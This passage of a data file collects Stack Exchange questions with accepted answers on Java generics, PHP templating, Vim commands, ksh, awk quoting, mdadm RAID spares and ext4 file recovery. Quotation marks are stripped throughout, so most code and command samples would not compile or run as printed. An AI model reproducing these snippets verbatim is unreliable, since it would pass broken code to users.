crashes, init will restart it again. The game probably needs to know that is should open tty1 (or any other at your choice)if you need the console, the other terminals should be normal, so ctrl+alt+F2 should jump to a login consoleIf you want to try with the runlevel, you are on good track... you probably need to define a TTY (probably export TTY=/dev/tty1) so the app knows where it should connect (as inittab and rc script run without any TTY defined). As i don't know python nor framebuffer consoles, dont know how to do that in python and what else is needed (maybe a more framebuffed or python direct question on stackoverflow is needed)"  } 
{  "id": "_codereview.12303"  , "question": "Summary:I've implemented what I think is a complete Java implementation of the Scala Option class. Could you please review and let me know if I have correctly and completely implemented it? And if not, could you please indicate where I have security, multi-threading, persistence, etc. defects?Details:I'm learning Scala, but still not able to use it in my projects at work. However, I have fallen in love with Scala's Option class. It's the equivalent to Haskell's Maybe. It's a great way to consistently implement the null object pattern; i.e. type safely getting rid of tons of potentially hidden NullPointerExceptions.While working on bringing some legacy Java code forward in time (written by me +10 years ago), I kept wanting to use something like Scala's Option, only written in Java for Java. Thus began my hunt for an effective Java version of Scala's option class.First, I googled and found something simple from Daniel Spiewak written in 2008: The Option Pattern.A comment by Tony Morris on Daniel's blog article (above) lead me to an article by Tony Morris where Daniel's idea was made a bit more complete, also adding to it a bit more complexity (at least to me): Maybe in Java.Then, while doing further research to try and find something already written, rather than my writing it myself, I found this one. Written earlier this year (2012), it seemed quite up-to-date: Another Scala option in Java.However, once I brought this latest code into my project to use, it started putting yellow squigglies under any references to None. Basically, the singleton the author used was leaking raw types into my code generating warnings. That was particularly annoying as I had just finished eliminating all the raw type code warnings from this particular code base the previous week.I was now hooked on getting something working that might resemble a work that could/would appear in the high-quality Java libraries, eliminating raw type leakage, adding things like serialization support, etc.Below is the result as three separate Java class files:Option - public interfaceOptional - factory for safely producing instances of Some and NoneMain - JUnit4 test suite to ensure proper functionalityPlease review and then give me any feedback and/or corrections you are willing to contribute.1. Interface Option - public interfacepackage org.public_domain.option;import java.util.Iterator;import java.io.Serializable;public interface Option<T> extends Iterable<T>, Serializable {  @Override  Iterator<T> iterator();  T get();  T getOrElse(T value);}2. Class Optional - Option instance factorypackage org.public_domain.option;import java.util.ArrayList;import java.util.Collections;import java.util.Iterator;import java.util.List;public final class Optional<T> {  @SuppressWarnings(rawtypes)  private static volatile Option NONE_SINGLETON = new OptionImpl();  public static <T> Option<T> getSome(T value) {    if (value == null) {      throw new NullPointerException(value must not be null);    }    return new OptionImpl<T>(value);  }  @SuppressWarnings({unchecked, cast})  public static <T> Option<T> getNone() {    return (Option<T>)getNoneSingleton();  }  @SuppressWarnings(unchecked)  public static <T> Option<T> getOptionWithNullAsNone(T value) {    return          (value != null)        ? new OptionImpl<T>(value)        : (Option<T>)getNoneSingleton()        ;  }  public static <T> Option<T> getOptionWithNullAsValidValue(T value) {    return new OptionImpl<T>(value);  }  @SuppressWarnings(rawtypes)  static Option getNoneSingleton() {    return NONE_SINGLETON;  }  private Optional() {    //no instances may be created  }  private static final class OptionImpl<T> implements Option<T> {    private static final long serialVersionUID = -5019534835296036482L;    private List<T> values; //contains exactly 0 or 1 value    protected OptionImpl() {      if (getNoneSingleton() != null) {        throw new IllegalStateException(NONE_SINGLETON already defined);      }      this.values = Collections.<T>emptyList();    }    protected OptionImpl(T value) {      List<T> temp = new ArrayList<T>(1);      temp.add(value); //even if it might be a null      this.values = temp;    }    @Override    public int hashCode() {      return this.values.hashCode();    }    @Override    public boolean equals(Object o) {      boolean result = (o == this);      if (!result && (o instanceof OptionImpl<?>)) {        result = this.values.equals(((OptionImpl<?>)o).values);      }      return result;    }    protected Object readResolve() {      Object result = this;      if (this.values.isEmpty()) {          result = getNoneSingleton();      }      return result;    }    @Override    public Iterator<T> iterator() {      return            (!this.values.isEmpty())          ? Collections.unmodifiableList(new ArrayList<T>(this.values)).iterator()          : this.values.iterator()          ;    }    @Override    public T get() {      if (this.values.isEmpty()) {        throw new UnsupportedOperationException(Invalid to attempt to use get() on None);      }      return this.values.get(0);    }    @Override    public T getOrElse(T valueArg) {      return            (!this.values.isEmpty())          ? get()          : valueArg          ;    }  }}3. Class Main - JUnit4 test suitepackage org.public_domain.option.test;import static org.junit.Assert.assertEquals;import static org.junit.Assert.assertFalse;import static org.junit.Assert.assertNotSame;import static org.junit.Assert.assertSame;import static org.junit.Assert.assertTrue;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import org.junit.Test;import org.public_domain.option.Option;import org.public_domain.option.Optional;public class Main {  @Test  public void simpleUseCasesSome() {    String value = simpleUseCases;    String valueOther = simpleUseCases Other;    //Some    Option<String> optionSome = Optional.getSome(value);    assertEquals(value, optionSome.get());    assertEquals(value, optionSome.getOrElse(valueOther));    assertNotSame(valueOther, optionSome.get());    assertNotSame(valueOther, optionSome.getOrElse(valueOther));    //validate simple iterator state (each call is a newly created iterator)    assertTrue(optionSome.iterator().hasNext());    assertEquals(value, optionSome.iterator().next());    assertNotSame(valueOther, optionSome.iterator().next());    //ensure iterator exhausted after single return value (all on the same iterator)    Iterator<String> iterator = optionSome.iterator();    assertTrue(iterator.hasNext());    assertEquals(value, iterator.next());    assertFalse(iterator.hasNext());  }  @Test  public void simpleUseCasesNone() {    String value = simpleUseCases;    String valueOther = simpleUseCases Other;    Option<String> optionNone = Optional.getNone();    assertEquals(valueOther, optionNone.getOrElse(valueOther));    assertNotSame(value, optionNone.getOrElse(valueOther));    //ensure iterator is already exhausted    assertFalse(optionNone.iterator().hasNext());  }  @Test (expected=NullPointerException.class)  public void simpleInvalidUseCaseSomePassedNull() {    @SuppressWarnings(unused)    Option<String> optionSome = Optional.getSome(null);  }  @Test (expected=UnsupportedOperationException.class)  public void simpleInvalidUseCaseNoneGet() {    Option<String> optionNone = Optional.getNone();    @SuppressWarnings(unused)    String value = optionNone.get();  }  @Test  public void simpleUseCaseEquals() {    String value = simpleUseCases;    String valueSame = value;    String valueDifferent = simpleUseCases Other;    Option<String> optionSome = Optional.getSome(value);    Option<String> optionSomeSame = Optional.getSome(valueSame);    Option<String> optionSomeDifferent = Optional.getSome(valueDifferent);    Option<String> optionNone = Optional.getNone();    Option<String> optionNoneSame = Optional.getNone();    //Some - self-consistency    assertSame(optionSome, optionSome); //identity check    assertEquals(optionSome, optionSomeSame); //content check    assertEquals(optionSomeSame, optionSome); //symmetry check    assertNotSame(optionSome, optionSomeDifferent); //identity and content check    assertNotSame(optionSomeDifferent, optionSome); //symmetry check    //None - self-consistency    assertSame(optionNone, optionNoneSame); //identity check    assertSame(optionNoneSame, optionNone); //symmetry check    //Some-vs-None consistency    assertNotSame(optionSome, optionNone);  //identity check    assertNotSame(optionNone, optionSome);  //symmetry check  }  @Test  public void useCaseSomeWithNullAsNone() {    String value = null;    String valueSame = value;    String valueDifferent = simpleUseCases;    Option<String> option = Optional.getOptionWithNullAsNone(value);    Option<String> optionSame = Optional.getOptionWithNullAsNone(valueSame);    Option<String> optionDifferent = Optional.getOptionWithNullAsNone(valueDifferent);    //Some - self-consistency    assertSame(option, option); //identity check    assertEquals(option, optionSame); //content check    assertEquals(optionSame, option); //symmetry check    assertNotSame(option, optionDifferent); //identity and content check    assertNotSame(optionDifferent, option); //symmetry check    //None consistency    Option<String> optionNone = Optional.getNone();    assertSame(option, optionNone);    assertSame(optionNone, option); //symmetry check  }  @Test  public void useCaseSomeWithNullAsValidValue() {    String value = null;    String valueSame = value;    String valueDifferent = simpleUseCases;    Option<String> option = Optional.getOptionWithNullAsValidValue(value);    Option<String> optionSame = Optional.getOptionWithNullAsValidValue(valueSame);    Option<String> optionDifferent = Optional.getOptionWithNullAsValidValue(valueDifferent);    //Some - self-consistency    assertSame(option, option); //identity check    assertEquals(option, optionSame); //content check    assertEquals(optionSame, option); //symmetry check    assertNotSame(option, optionDifferent); //identity and content check    assertNotSame(optionDifferent, option); //symmetry check    //None consistency    Option<String> optionNone = Optional.getNone();    assertNotSame(option, optionNone);    assertNotSame(optionNone, option); //symmetry check  }  private byte[] transformToByteArray(Object root) {      ByteArrayOutputStream baos = new ByteArrayOutputStream(65536);      try {        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(root);      } catch (IOException e) {        e.printStackTrace();      }      return baos.toByteArray();  }  private Object transformFromByteArray(byte[] content) {    Object result = null;    ByteArrayInputStream bais = new ByteArrayInputStream(content);    ObjectInputStream ois;    try {      ois = new ObjectInputStream(bais);      result = ois.readObject();    } catch (IOException e) {      e.printStackTrace();    } catch (ClassNotFoundException e) {      e.printStackTrace();    }    return result;  }  @Test  public void useCaseSerialzation() {    String value = simpleUseCases;    String valueSame = value;    String valueDifferent = simpleUseCases Other;    Option<String> optionSome = Optional.getSome(value);    Option<String> optionSomeSame = Optional.getSome(valueSame);    Option<String> optionSomeDifferent = Optional.getSome(valueDifferent);    Option<String> optionNone = Optional.getNone();    Option<String> optionNoneSame = Optional.getNone();    Map<String, Option<String>> dataIn = new HashMap<String, Option<String>>();    dataIn.put(optionSome, optionSome);    dataIn.put(optionSomeSame, optionSomeSame);    dataIn.put(optionSomeDifferent, optionSomeDifferent);    dataIn.put(optionNone, optionNone);    dataIn.put(optionNoneSame, optionNoneSame);    byte[] dataInAsByteArray = transformToByteArray(dataIn);    @SuppressWarnings(unchecked)    Map<String, Option<String>> dataOut = (Map<String, Option<String>>)transformFromByteArray(dataInAsByteArray);    assertEquals(optionSome, dataOut.get(optionSome));    assertEquals(optionSomeSame, dataOut.get(optionSomeSame));    assertEquals(optionSomeDifferent, dataOut.get(optionSomeDifferent));    assertSame(optionNone, dataOut.get(optionNone));    assertSame(optionNoneSame, dataOut.get(optionNoneSame));  }}"  , "title": "Scala Option conversion to Java"  , "tags": "java;generics"  , "accepted_answer": "If you want to guarantee serializability, the T type parameter must be Serializable, or your Option won't be:public interface Option<T extends Serializable> extends Iterable<T>, SerializableAlso, the use of a public interface to declare Option allows anybody to create their own implementation. The code will break if it is given another implementation of the Option interface, because it assumes the only implementation is an OptionImpl.Here's an alternate implementation much the same as yours that I'd come up with:package util;import java.util.Collections;import java.util.Iterator;import java.util.NoSuchElementException;public abstract class Option<A> implements Iterable<A> {  private Option() {}  public abstract A get();  public abstract A getOrElse(A defaultResult);  public abstract Iterator<A> iterator();  public abstract boolean match(Option<A> other);  @SuppressWarnings(unchecked)  public static <A> Option<A> Option(final A a) {    return a == null? (Option<A>)None : Some(a);  }  public static <A> Option<A> Some(final A a) {    return new _Some<A>(a);  }  @SuppressWarnings(unchecked)  public static <A> Option<A> None() {    return (Option<A>)None;  }  @SuppressWarnings(rawtypes)  public static final Option None = new _None();  private static final class _Some<A> extends Option<A> {    private final A value;    private _Some(A a) {      if (a == null) throw new IllegalArgumentException(argument to Some may not be null);      this.value = a;    }    @Override    public A get() {      return this.value;    }    @Override    public A getOrElse(final A ignored) {      return this.value;    }    @Override    public Iterator<A> iterator() {      return Collections.<A>singleton(this.value).iterator();    }    @Override    public boolean match(final Option<A> other) {      return other == None? false : value.equals( ((_Some<A>)other).value );    }    @Override    @SuppressWarnings(unchecked)    public boolean equals(final Object obj) {      return obj instanceof Option? match((Option<A>)obj) : false;    }    @Override    public int hashCode() {      return this.value.hashCode();    }    @Override    public String toString() {      return Some( + this.value + );    }  }  private static final class _None<A> extends Option<A> {    private _None() {}    @Override    public A get() { throw new NoSuchElementException(None.get() called); }    @Override    public A getOrElse(final A result) {      return result;    }    @Override    public Iterator<A> iterator() {      return Collections.<A>emptyList().iterator();    }    @Override    @SuppressWarnings(rawtypes)    public boolean match(final Option other) {      return other == None;    }    @Override    public boolean equals(final Object obj) {      return obj == this;    }    @Override    public int hashCode() {      return 0;    }    @Override    public String toString() {      return None;    }  }}For usage, I use import static:import util.Option;import static util.Option.*;Option<Boolean> selfDestruct = getSelfDestructSequence();if (selfDestruct.match(Some(true)) {  blowUpTheShip();}That way it reads similar to pattern matching and deconstruction, but of course it's really construction and equals(). And you can compare to None using ==.The only thing I don't like about this is that the None singleton does give unchecked warnings on usage unless you use the factory method to return it. If only we had existential types, we could overcome that."  } 
{  "id": "_codereview.61209"  , "question": "I have some php code to style a button and activate it, when a specific variable is true.It's actually a radio button, styled with the bootstrap to a button.As you can see below, this is how it looks when the variable is '1'.Also, the buttons at the bottom are the same, but then with one extra option.The HTML code for this is the following:                        Navigation bar color:                                    <?php                    if ($navcolor == '1') {                        $nav_color_i_active  = 'active';                        $nav_color_i_checked = 'checked';                        $nav_color_n_active  = '';                        $nav_color_n_checked = '';                    } else {                        $nav_color_i_active  = '';                        $nav_color_i_checked = '';                        $nav_color_n_active  = 'active';                        $nav_color_n_checked = 'checked';                    }                ?>                <div class=btn-group data-toggle=buttons>                    <label class=btn btn-primary <?= $nav_color_i_active ?>>                        <input type=radio name=navcolor value=1 <?= $nav_color_i_checked ?>> Inverted                    </label>                    <label class=btn btn-primary <?= $nav_color_n_active ?>>                        <input type=radio name=navcolor value=0 <?= $nav_color_n_active ?>> Normal                    </label>                </div><div class=form-group><label>Navigation bar position:                    </label>                    <?php                        if ($navpos == '2') {                            $nav_pos_2_active  = 'active';                            $nav_pos_2_checked = 'checked';                            $nav_pos_1_active  = '';                            $nav_pos_1_checked = '';                            $nav_pos_0_active  = '';                            $nav_pos_0_checked = '';                        } elseif ($navpos == '1') {                            $nav_pos_2_active  = '';                            $nav_pos_2_checked = '';                            $nav_pos_1_active  = 'active';                            $nav_pos_1_checked = 'checked';                            $nav_pos_0_active  = '';                            $nav_pos_0_checked = '';                        } else {                            $nav_pos_2_active  = '';                            $nav_pos_2_checked = '';                            $nav_pos_1_active  = '';                            $nav_pos_1_checked = '';                            $nav_pos_0_active  = 'active';                            $nav_pos_0_checked = 'checked';                        }                    ?>                    <div class=btn-group data-toggle=buttons>                        <label class=btn btn-primary <?= $nav_pos_2_active ?>>                            <input type=radio name=navpos value=2 <?= $nav_pos_2_checked ?>> Floating                        </label>                        <label class=btn btn-primary <?= $nav_pos_1_active ?>>                            <input type=radio name=navpos value=1 <?= $nav_pos_1_active ?>> Sticky to top                        </label>                        <label class=btn btn-primary <?= $nav_pos_0_active ?>>                            <input type=radio name=navpos value=0 <?= $nav_pos_0_active ?>> Dynamic, stick to top                        </label>                    </div>                </div>As you can see, it's a lot of code for not a lot of buttons. I've used empty variables, because otherwise php would return errors, for unknown variables.Is it possible that this code can look a lot cleaner, and that there can be less code?"  , "title": "Styling and activating radio buttons on condition"  , "tags": "php;twitter bootstrap"  , "accepted_answer": "Firstly, you could shorten the names of the variables e.g from $nav_color_i_active to $i_active and so on.Secondly, there is a problem in your logic. You see else part will run if $navcolorhas any value other than 1. You should use elseif instead of else in both parts of code."  } 
{  "id": "_webapps.45991"  , "question": "I've tried to find a way to enable 2 factor authentication for login to the Google Apps management console (admin.google.com), but can't seem to find it. (I already have 2 factor auth for my users on the domain, so it is not for domain users but for the admin console I want to enable it.)Have googled for it and searched here also, but can't seem to find the answer/way to enable it.Can anyone help, please?"  , "title": "Is 2 factor authentication available for login to the Google Apps management console?"  , "tags": "google apps"  , "accepted_answer": "Based on my own testing, it seems that Google Apps users who have enabled 2-factor authentication for their account will also be required to input a verification code when logging into the management console. This has two key implications:The only way to enforce 2-factor authentication for the management console is by ensuring that all users who can access the console have 2-factor auth enabled. As I understand it, it's not possible to force your users to enable this feature, the only thing you can do is choose to make the feature available to them (or not, obviously) and encourage all users to enable it.Any user who has asked for their device to be 'remembered' when logging in using 2-factor auth will not be required to enter a verification code to log into the management console unless they clear their cookies or use a different device.In summary, 2-factor auth works as expected with the management console, but it must be enabled on a per-user basis.Assuming that you have enabled 2-factor auth for your Google apps account, you can test the above by logging into the console from an Incognito window or an alternative browser. It should then ask you for a verification code as expected."  } 
{  "id": "_scicomp.19279"  , "question": "In the method of weighted residual applied to boundary value problems, is it necessary for the basis function to satisfy all of the boundary conditions? Will it work even if it does not satisfy all of the boundary conditions?"  , "title": "In the method of weighted residual, is it necessary for the basis function to satisfy the boundary conditions?"  , "tags": "boundary conditions"  } 
{  "id": "_vi.9927"  , "question": "I have a command defined in my ftplugin/markdown.vim to maintain a consistent style, and check for any errors:command! Lint !pandoc % -o % --columns=80However, when I run :Lint I then need to hit L<CR> followed by :e.Is there any way of defining this command such that it will reload automatically, with no further keypress?"  , "title": "Automate file reload after command that modifies it?"  , "tags": "vimrc;command line"  , "accepted_answer": "Your command tells pandoc to filter your file (%) instead of your buffer. This is problematic because there's no guarantee that the content of the buffer and the content of the file are identical. What you need is a filter, not something that acts on actual files.The default behavior of pandoc is to act as a filter, which happens to be exactly what you want: take text from stdin and return a filtered version of it to stdout::!pandoc --columns=80But pandoc's default output format for markdown is HTML if you don't specify any so you should use -t markdown to force markdown output:!pandoc -t markdown --columns=80But even that is not enough to make a proper custom command:command! Lint !pandoc -t markdown --columns=80The first problem is that custom commands don't accept a range by default. This is easy to fix with :help :command-range:command! -range=% Lint execute <line1> . , . <line2> . !pandoc -t markdown --columns=80At this stage, you can do :Lint or :24,67Lint or vjjjjj:Lint and get exactly what you want But we still have three problems to address.The second problem is that this command will leave the cursor on the last line of the buffer. This is not really a showstopper but oh well! We can fix it with :help winsaveview() and :help winrestview():command! -range=% Lint let myview = winsaveview() |  \\ execute <line1> . , . <line2> . !pandoc -t markdown --columns=80 |  \\ call winrestview(myview)The third problem is that this command will also be available in non-markdown buffers because all custom commands are global by default. This is another easy fix thanks to :help :command-buffer:command! -buffer -range=% Lint let myview = winsaveview() |  \\ execute <line1> . , . <line2> . !pandoc -t markdown --columns=80 |  \\ call winrestview(myview)The fourth and last problem is a lot less severe than the others. It's just that ftplugin/markdown.vim is not really the right place for language-specific settings/mappings/commands due to the order in which filetype plugins are sourced:#1 $HOME/.vim/ftplugin/markdown.vim#2 $VIMRUNTIME/ftplugin/markdown.vim#3 $HOME/after/ftplugin/markdown.vimYou should use $HOME/after/ftplugin/foo.vim for all your filetype specific needs.Wow What a ride!"  } 
{  "id": "_cs.74073"  , "question": "I am trying to understand the time complexity of the word break problem which uses the backtracking recursive approach. It is O(2^N).Well lets take an example abcd as input with the recursive approach naive, the recursion tree will be something like this                      abcd                     /.... \\                    /\\     /\\                   a bcd..abc d                     /  \\                    /\\                    b  cd So eventually at the end of the tree, I mean the leaves the count will be (2^N). is that right?"  , "title": "Why is the time complexity of the word break O(2^N)"  , "tags": "algorithms"  } 
{  "id": "_unix.83695"  , "question": "I have some AIX 7 servers that are restricted to what software I can install and wonder if I can get ksh to use the tab key to complete filenames at the shell promot.The man pages are sparse for ksh and I don't see any relevant questions here covering this ground. Due to the majority of users using ksh, I'm hesitant to shift my shell to bash - but I suppose that's an easy out.I log in initially from a PC using putty/ssh and work mostly from xterm once the X11 forwarding brings back the traffic to Hummingbird Exceed on the PC.Can /usr/bin/ksh that ships with bos.rte.shell for AIX 7.1 be configured to trigger filename completion (which is normally triggered by pressing ESC+\\ ) by pressing the TAB key?"  , "title": "Can ksh on AIX be configured to use the tab key for filename completion?"  , "tags": "ksh;aix"  , "accepted_answer": "See if /usr/bin/ksh93 is available:ksh93 --versionIf it saysversion         sh (AT&T Research)then use that as your interactive shell.  It will have the ${.sh.version} and should have the  TAB expansion."  } 
{  "id": "_cs.32554"  , "question": "I am trying to classify the Differential Evolution algorithm according to the framework in the book:Introduction to Evolutionary ComputingThe authors classify the field of evolutionary computation into 4 paradigms:Evolutionary programmingGenetic programmingEvolutionary strategiesGenetic algorithmsI have ruled out 1. and 2., since they deal with programs as opposed to abstract optimization problems. I also ruled out 3. since evolutionary strategies maintain an explicit random distribution during the optimization process. That leaves only genetic algorithms. But when you say genetic algorithm, the firs thing that comes to most peoples' minds is the traditional flipping of 0s and 1s. I have personally never heard anybody refer to differential evolution as a genetic algorithm."  , "title": "Is Differential Evolution a genetic algorithm?"  , "tags": "optimization;genetic algorithms;evolutionary computing"  , "accepted_answer": "If you're asking for a homework assignment, then I can't really help you, because the answer really depends on how your professor interprets the taxonomy. But if you're asking for your own edification, I can give you my view.First, the distinctions between the four classes you list (particularly between 1, 3, and 4) are largely historic. There are still some very real differences of course, but we don't view the lines between them as sharply as we once did. This means, for example, that GAs can be real-valued instead of binary and might rely on mutation more than crossover. You can have an evolution strategy for the traveling salesman problem. Really the description in the book isn't terribly well suited for use as a taxonomy for this reason. I teach from this book, and I like it a lot, so that's not really a criticism. I don't think the authors intended for you to try and use it as a well-defined taxonomy either.If we go with this idea as a rough taxonomy though, then in principle, we have an umbrella term: Evolutionary Computation or Evolutionary Algorithms that covers all four of the cases you list. In practice though, while if someone says evolution strategy or genetic programming, it's because they intentionally want to highlight that that's what they're doing, people sometimes say genetic algorithms when they really mean evolutionary algorithms. So that term is especially hard to interpret.So we might be able to call DE a GA with that understanding and be OK, but it really depends on who's asking the question as to whether that's what they had in mind or not.Looking at the problem another way though, it gets even fuzzier. Right now, you're reading someone else's taxonomy and trying to fit the pieces together. What if you take a step back and try to formally define what a genetic algorithm or evolutionary algorithm is yourself? You might come up with something like an algorithm that maintains a population of one or more candidate solutions, usually generated randomly, and continually selects the better individuals from the population, produces new individuals from the old ones via some type of variation operators, and favors the better of these new individuals for insertion into the population.It's hard to get much narrower than that without excluding some things we think are obviously evolutionary algorithms, but this definition is really very broad. Certainly things like differential evolution and particle swarm optimization meet this definition, but so does, for example, simulated annealing. You can even take a simple next-descent hill-climber and call it a (1+1)-ES.Personally then, my answer to your question is sort of. If I write a paper that proposes a novel DE variant that looks super-awesome, I'd absolutely submit it to a journal like Evolutionary Computation. I know that my algorithm would be viewed as being appropriate for a venue that focused on genetic and evolutionary algorithms. But I probably wouldn't tell people that I used a genetic algorithm either, because that term doesn't feel precise enough to capture what it is that I want to express.I'm not sure this is a particularly helpful answer, but I think it's probably a pretty common view among people in the field. "  } 
{  "id": "_cs.41199"  , "question": "I really get confused by all the different complexities you find around. One is $O(n \\log n)$, the next $O(n \\cdot |\\Sigma|)$. Personally I think it's the last one, but I'm really not that confident with it to say so. Well on average we go $\\log n$ deep and need at max $|\\Sigma|$ steps to find a corresponding node that matches (or not). Thus I would come up with $O(n \\cdot |\\Sigma| \\cdot \\log n)$.Repeat the following for all suffixes of the given string, right to left.Scan if its in tree  Not in tree -> add it as new nodeIs partly in tree -> fork here, such that the matching part remainsGo back to step 1 until the sequence that was observed equals the source"  , "title": "Suffix Tree algorithm complexity"  , "tags": "algorithms;algorithm analysis;data structures;runtime analysis;suffix trees"  } 
{  "id": "_ai.1423"  , "question": "We, humans, during following multiple processes (e.g. reading while listening to music) memorize information from less focused sources with worse efficiency than we do from our main concentration.Do such things exist in case of artificial intelligences? I doubt, for example that neural networks obtain such features, but I may be wrong."  , "title": "Is there any artificial intelligence that possesses concentration?"  , "tags": "structured data"  , "accepted_answer": "Douglas Hofstadter's CopyCat architecture for solving letter-string analogy problems was deliberately engineered to maintain a semantically-informed notion of 'salience', i.e. given a variety of competing possibilities, tend to maintain interest in the one that is most compelling. Although the salience value of (part of) a solution is ultimately represented numerically, the means by which it determined is broadly intended to correspond (at least functionally) to the way 'selective attention' might operate in human cognition."  } 
{  "id": "_unix.152756"  , "question": "I've found some anomaly when writing a script.The following examples works as expected:$ echo 123 | awk '{print $1 456}'123456$ sh -c echo 123 | awk '{print $1}'123But the following example, doesn't:$ sh -c echo 123 | awk '{print $1 456}'456I'm expecting to print the 1st column with the additional string, which should return 123456 as it does when running the same command withoutsh -c. But what is happening, the 1st column is ignored for some reason. What's interesting, $1 is printed without problems when not performing string concatenation.Why this is happening and how to do string concatenation within the command which is passed to separate instance of shell?"  , "title": "awk: Columns are not printed when concatenating strings is passed as command string"  , "tags": "sed;awk"  , "accepted_answer": "You must escape $ sign:$ sh -c echo 123 | awk '{print \\$1 456}'123456Otherwise, $1 is expanded by current shell."  } 
{  "id": "_scicomp.20060"  , "question": "I am setting up a simple model that uses recursion to iterate between known constraints - relaxation, in other words. I need a spreadsheet that allows:A0 50A1 =(A0+A2)/2A2 =(A1+A3)/2A3 =(A2+A4)/2A4 100It should be simple, but OpenOffice and Apple Numbers specifically forbid this. If you know of configuration setting to override this, that would be great too."  , "title": "Relaxation - spreadsheet solution to recursive algorithm"  , "tags": "numerical modelling"  } 
{  "id": "_hardwarecs.2620"  , "question": "I'm looking for electromagnetic field reader as demonstrated in the this documentary (shown below):Or some similar device which can do the same (measure EMF fingerprint of the placed object)."  , "title": "EMF reader for USB"  , "tags": "usb"  , "accepted_answer": "I'm finding this hilarious. The pseudoscience is stunning. That device is a pretty standard microphone that was used for attaching to a landline. The proper name escapes me (I'll update) but you can find it as a telephone suction cup microphone for between 5-20 dollars on amazon. I am unable to identify the sound card he is using for the capture, and the software he's using seems to be wavelab. Any good soundcard should work for this I suspectI'd note those things are good fun, and he might be picking up noise off of his power lead. I'm unsure what the seemingly quarter inch connector is leading off of the sound device. "  } 
{  "id": "_unix.306286"  , "question": "I have a healthy and working software based RAID1 using 3 HDDs as active on my Debian machine.I want to mark one of the disks as a spare so it ends up being 2 active + 1 spare.Things like:mdadm --manage --raid-devices=2 --spare-devices=1 /dev/md0and similar just fail saying either one of the options is not supported in current option mode or simply fails.Billy@localhost~#: mdadm -G --raid-devices=2 /dev/md0mdadm: failed to set raid disksunfreezeorBilly@localhost~#: mdadm --manage --raid-devices=2 --spare-devices=1 /dev/md0mdadm: :option --raid-devices not valid in manage modeor similar. I have no idea man. please help?"  , "title": "How to mark one of RAID1 disks as a spare? (mdadm)"  , "tags": "hard disk;array;raid1"  , "accepted_answer": "You can check the current state of the array with cat /proc/mdstat.  In this example, that's where the data comes from.So let's assume we have md127 with 3 disks in a raid1.  Here they're just partitions of one disk, but it doesn't mattermd127 : active raid1 vdb3[2] vdb2[1] vdb1[0]      102272 blocks super 1.2 [3/3] [UUU]We need to offline one of the disks before we can remove it:$ sudo mdadm --manage /dev/md127 --fail /dev/vdb2mdadm: set /dev/vdb2 faulty in /dev/md127And the status now shows it's badmd127 : active raid1 vdb3[2] vdb2[1](F) vdb1[0]      102272 blocks super 1.2 [3/2] [U_U]We can now remove this disk:$ sudo mdadm --manage /dev/md127 --remove /dev/vdb2mdadm: hot removed /dev/vdb2 from /dev/md127md127 : active raid1 vdb3[2] vdb1[0]      102272 blocks super 1.2 [3/2] [U_U]And now resize:$ sudo mdadm --grow /dev/md127 --raid-devices=2raid_disks for /dev/md127 set to 2unfreezeAt this point we have successfully reduced the array down to 2 disks:md127 : active raid1 vdb3[2] vdb1[0]      102272 blocks super 1.2 [2/2] [UU]So now the new disk can be re-added as a hotspare:$ sudo mdadm -a /dev/md127 /dev/vdb2mdadm: added /dev/vdb2md127 : active raid1 vdb2[3](S) vdb3[2] vdb1[0]      102272 blocks super 1.2 [2/2] [UU]The (S) shows it's a hotspare.We can verify this works as expected by failing an existing disk and noticing a rebuild takes place on the spare:$ sudo mdadm --manage /dev/md127 --fail /dev/vdb1mdadm: set /dev/vdb1 faulty in /dev/md127md127 : active raid1 vdb2[3] vdb3[2] vdb1[0](F)      102272 blocks super 1.2 [2/1] [_U]      [=======>.............]  recovery = 37.5% (38400/102272) finish=0.0min speed=38400K/secvdb2 is no longer marked (S) because it's not a hotspare.After the bad disk has been re-added it is now marked as the hotsparemd127 : active raid1 vdb1[4](S) vdb2[3] vdb3[2]      102272 blocks super 1.2 [2/2] [UU]"  } 
{  "id": "_softwareengineering.336915"  , "question": "I currently work on a hobby project which I use to learn more about Android/Java programming and programming in general. Recently, I decided to integrate jUnit into the project. Just getting it in there wasn't much of a problem, but actually using it was. I've read that a unit test should be the definition of what a method (or component) is supposed to do, and that unit tests force you to write good, or at least better code.But the problems started occurring the moment I wrote the first unit test to test some logic. The method I wanted to test does only logical work, nothing with the UI is done and the results are simply saved in variables for later use. But, in the same class, I have a method to display whatever the first method has worked out. And jUnit doesn't seem to like that; for the second method I need (of course) UI imports, and jUnit complains that it doesn't know any Android Context class. Until now, I thought that putting the logical and UI parts of a component in one class but seperated methods would be easily understandable and an acceptable practice. But now, because jUnit forces you to write good code, I'm much less sure about this.So, should I put the UI and logical parts for one component in seperate classes? They depend on each other, the UI method needs the values from the logical method, but the logical method can't do anything with its computed values without the UI method. But because someone else might think different about this... And that someone else is the one who probably has to understand my code somedays afterall."  , "title": "Should I put UI and logic in separate classes?"  , "tags": "class design;ui"  , "accepted_answer": "UI design patterns like Model-View-Controller, Model-View-Presenter and Model-View-ViewModel routinely provide mechanisms (i.e. separate classes) that allow Separation of Concerns between the surface of the UI and the class that manages it, for the same reasons that you've already cited."  } 
{  "id": "_unix.306741"  , "question": "I am trying to recover all my deleted folders and files The first step I took was Inode  Owner  Mode    Size      Blocks   Time deleted8391823      0 120777      3      1/     2 Wed Jul  6 00:21:52 20166816215      0 120777      3      1/     2 Tue Aug 30 22:23:12 20166816241      0 120777      3      1/     2 Tue Aug 30 22:23:12 20166816248      0 120777      2      1/     2 Tue Aug 30 22:23:12 20166816268      0 120777      2      1/     2 Tue Aug 30 22:23:12 20166816336      0 120777      2      1/     2 Tue Aug 30 22:23:12 20166816338      0 120777      2      1/     2 Tue Aug 30 22:23:12 20166816340      0 120777      2      1/     2 Tue Aug 30 22:23:12 20168 deleted inodes found.root@kali:~# df /rootFilesystem     1K-blocks     Used Available Use% Mounted on/dev/sda5      192360020 12389648 170176020   7% /root@kali:~# debugfs -w /dev/sda5debugfs 1.42.12 (29-Aug-2014)debugfs:  lsdeldebugfs:  logdump -i <8391823>Inode 8391823 is at group 1024, block 33554564, offset 1792Journal starts at block 24819, transaction 1055643No magic number at block 25323: end of journal.debugfs:  logdump -i <6816215>Inode 6816215 is at group 832, block 27263022, offset 2816Journal starts at block 24819, transaction 1055643No magic number at block 25628: end of journal.debugfs:  logdump -i <6816241>Inode 6816241 is at group 832, block 27263023, offset 2048Journal starts at block 24819, 